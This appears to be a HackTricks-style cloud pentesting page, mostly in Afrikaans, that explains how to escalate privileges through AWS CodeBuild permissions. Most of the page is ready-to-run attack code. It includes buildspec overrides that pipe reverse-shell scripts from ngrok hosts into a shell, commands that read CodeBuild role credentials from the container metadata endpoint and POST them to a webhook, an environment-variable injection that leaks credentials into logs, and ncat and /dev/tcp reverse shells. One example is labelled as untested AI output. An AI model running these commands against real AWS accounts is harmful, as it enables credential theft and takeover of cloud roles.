# AWS - Codebuild Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## codebuild

Kry meer inligting by:

{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}

### `codebuild:StartBuild` | `codebuild:StartBuildBatch`

Net een van hierdie permissies is genoeg om `n build` met `n nuwe buildspec` te begin en die token van die IAM-rol wat aan die projek toegeken is, te steel:

{{#tabs }}
{{#tab name="StartBuild" }}
```bash
cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
```
{{#endtab }}

{{#tab name="StartBuildBatch" }}
```bash
cat > /tmp/buildspec.yml <<EOF
version: 0.2

batch:
fast-fail: false
build-list:
- identifier: build1
env:
variables:
BUILD_ID: build1
buildspec: |
version: 0.2
env:
shell: sh
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
ignore-failure: true
EOF

aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml
```
{{#endtab }}
{{#endtabs }}

**Nota**: Die verskil tussen hierdie twee opdragte is dat:

- `StartBuild` begin 'n enkele build-taak met 'n spesifieke `buildspec.yml`.
- `StartBuildBatch` laat jou toe om 'n groep builds te begin, met meer komplekse konfigurasies (soos om verskeie builds parallel te laat loop).

**Potential Impact:** Direkte privesc na aangehegte AWS CodeBuild rolle.

#### StartBuild Omgewingvariabele-oorskrywing

Selfs as jy **nie die projek kan wysig nie** (`UpdateProject`) en jy **nie die buildspec kan oorskryf nie**, laat `codebuild:StartBuild` steeds toe om omgewingvariabels tydens die build te oorskryf via:

- CLI: `--environment-variables-override`
- API: `environmentVariablesOverride`

As die build omgewingvariabels gebruik om gedrag te beheer (destination buckets, feature flags, proxy settings, logging, etc.), kan dit genoeg wees om **exfiltrate secrets** waarvoor die build-rol toegang het, of om **code execution** binne die build te kry.

##### Voorbeeld 1: Herlei Artefak/Oplaai-bestemming om exfiltrate secrets

As die build 'n artefak na 'n bucket/pad publiseer wat deur 'n omgewingvariabele beheer word (byvoorbeeld `UPLOAD_BUCKET`), oorskryf dit na 'n aanvaller-beheerde bucket:
```bash
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"

export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)

# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done

# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
```
##### Voorbeeld 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`

As die build `python3` (algemeen in buildspecs) uitvoer, kan jy soms kode-uitvoering kry sonder om die buildspec aan te raak deur misbruik van:

- `PYTHONWARNINGS`: Python los die *category*-veld op en sal dotted paths invoer. Om dit op `...:antigravity.x:...` te stel dwing die invoer van die stdlib-module `antigravity` af.
- `antigravity`: roep `webbrowser.open(...)` aan.
- `BROWSER`: beheer wat `webbrowser` uitvoer. Op Linux word dit deur `:` geskei. Die gebruik van `#%s` maak die URL-argument 'n shell-opmerking.

Hiermee kan mens die CodeBuild role credentials (van `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) in CloudWatch logs druk, en dit dan terugkry as jy permissies het om logs te lees.

<details>
<summary>Uitvoubaar: StartBuild JSON request for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
</details>

### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

'n Aanvaller met die **`iam:PassRole`, `codebuild:CreateProject`, en `codebuild:StartBuild` of `codebuild:StartBuildBatch`** regte sou in staat wees om **voorregte na enige codebuild IAM-rol te eskaleer** deur een te skep wat lopend is.

{{#tabs }}
{{#tab name="Example1" }}
```bash
# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project
```
{{#endtab }}

{{#tab name="Example2" }}
```bash
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml

# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml

# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60

# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project

```
{{#endtab }}

{{#tab name="Example3" }}
```bash
# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address

{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}

# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json

# Start a build with the new project
aws codebuild start-build --project-name user-project-1

# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from

```
{{#endtab }}
{{#endtabs }}

**Potensiële impak:** Direkte privesc op enige AWS Codebuild-rol.

> [!WARNING]
> In a **Codebuild container** bevat die lêer `/codebuild/output/tmp/env.sh` al die omgewingsvariabeles wat nodig is om by die **metadata credentials** te kom.

> Hierdie lêer bevat die **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** wat die **URL path** bevat om by die credentials te kom. Dit sal iets soos hierdie wees `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`

> Voeg dit by die URL **`http://169.254.170.2/`** en jy sal die rol-credentials kan dump.

> Verder bevat dit ook die **env variable `ECS_CONTAINER_METADATA_URI`** wat die volledige URL bevat om **metadata info oor die container** te kry.

### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

Net soos in die vorige afdeling, as jy in plaas van om 'n build project te skep dit kan wysig, kan jy die IAM Role aandui en die token steel
```bash
REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project
```
**Potential Impact:** Direkte privesc na enige AWS Codebuild-rol.

### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

Soos in die vorige afdeling, maar **sonder die `iam:PassRole` permissie**, kan jy hierdie permissies misbruik om **bestaande Codebuild-projekte te wysig en toegang te kry tot die rol wat reeds aan hulle toegeken is**.

{{#tabs }}
{{#tab name="StartBuild" }}
```sh
REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project
```
{{#endtab }}

{{#tab name="StartBuildBatch" }}
```sh
REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"project_name\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project
```
{{#endtab }}
{{#endtabs }}

**Potensiële impak:** Direkte privesc na aangehegte AWS Codebuild-rolle.

### SSM

Indien jy **genoeg permissies het om 'n ssm session te begin**, is dit moontlik om **in 'n Codebuild project te kom** wat gebou word.

Die Codebuild project sal 'n breakpoint moet hê:

<pre class="language-yaml"><code class="lang-yaml">phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
<strong>      - codebuild-breakpoint
</strong></code></pre>

En dan:
```bash
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
```
Vir meer inligting [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).

### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`

n attacker wat 'n build kan begin/herbegin vir 'n spesifieke CodeBuild-projek waarvan die `buildspec.yml`-lêer op 'n S3-bucket gestoor is waarop die attacker skryf toegang het, kan opdraguitvoering in die CodeBuild-proses verkry.

Nota: die eskalasie is slegs relevant indien die CodeBuild worker 'n ander role het, hopelik meer voorregte, as dié van die attacker.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)
```
Jy kan iets soos hierdie **buildspec** gebruik om 'n **reverse shell** te kry:
```yaml:buildspec.yml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Impak:** Direkte privesc na die rol wat deur die AWS CodeBuild-werker gebruik word wat gewoonlik hoë voorregte het.

> [!WARNING]
> Let wel dat die buildspec in zip-formaat verwag kan word, sodat 'n aanvaller dit sal moet aflaai, uitpak, die `buildspec.yml` vanaf die wortelgids wysig, weer inpak en oplaai

Meer besonderhede kan [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word.

**Potensiële impak:** Direkte privesc na aangehegte AWS Codebuild roles.

{{#include ../../../../banners/hacktricks-training.md}}
